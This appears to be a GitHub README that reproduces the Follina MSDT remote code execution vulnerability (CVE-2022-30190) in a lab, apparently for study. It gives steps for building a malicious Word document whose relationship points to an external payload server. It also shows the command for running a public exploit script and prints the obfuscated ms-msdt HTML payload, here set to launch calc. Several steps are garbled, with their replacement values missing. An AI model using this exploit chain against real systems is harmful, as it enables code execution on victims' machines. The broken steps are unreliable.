yrkuo/cve-2022-30190Step-by-step reproduction guide for CVE-2022-30190 (Follina) MSDT remote code execution vulnerability, including malicious document creation and C2 server setup.
aka Follina
Follina exists in the Microsoft Support Diagnostic Tool (MSDT). When an application calls MSDT via a URL protocol for support, a remote code execution vulnerability occurs. Successful exploitation allows an attacker to execute arbitrary code with the permissions of the application.
* Host OS: Ubuntu 22.04 LST
* Guest OS: Windows 10 Pro x64, version 2004, build 19041.1237
* Microsoft office: word 2016
Step1 Create a Word document (.docx) and insert an OLE object (e.g., Bitmap Image) in the text.
Step2 Unzip the .docx file, edit the word/_rels/document.xml.rels file under the folder, change the Target="embeddings/oleObject1.bin" highlighted in yellow below to , and add the attribute .
Step3 Edit the file under the folder, change the highlighted in yellow below to , and add the attribute .
Step4 Use 7-zip to open the .docx file (without extracting), drop the above two files into the .docx file, to complete the malicious document creation.
Target = "http://<payload_server>/<random_name>.html!"TargetMode = "External"
word/document.xmlType="Embed"Type="Link"UpdateMode="OnCall"
Download the Follina.py released by John Hammond. Here we take calling a basic calculator as an example:
python3 follina.py -c calc.exe -i eth0
In the Follina.py file, lines 117-125 mainly create the malicious payload (.html). The content is as follows. <script>location.href... is the script that executes the calculator on the victim's machine. The entire file is also padded with a large number of random characters, aiming to fill the file to at least 4096 bytes. For the reason, refer to “Follina” MSDT Attack.
<script>location.href = "ms-msdt:/id PCWDiagnostic /skip force /param \"IT_RebrowseForFile=? IT_LaunchMethod=ContextMenu IT_BrowseForFile=$(Invoke-Expression($(Invoke-Expression('[System.Text.Encoding]'+[char]58+[char]58+'UTF8.GetString([System.Convert]'+[char]58+[char]58+'FromBase64String('+[char]34+'Y2FsYw=='+[char]34+'))'))))i/../../../../../../../../../../../../../../Windows/System32/mpsigstub.exe\""; //pydvwofyowvcmgcaevgukzhjgmfirqpffuiclrgzlobvnrxknespfklndldfazyefpyxjbixgykmzeumodxedsxpaduvcqygjhrxzeqpuhdgcmpzsxkkpdzdielmoiwzknqxtxinxymsnuugffkxvzwxetrl...(4096 bytes)
</script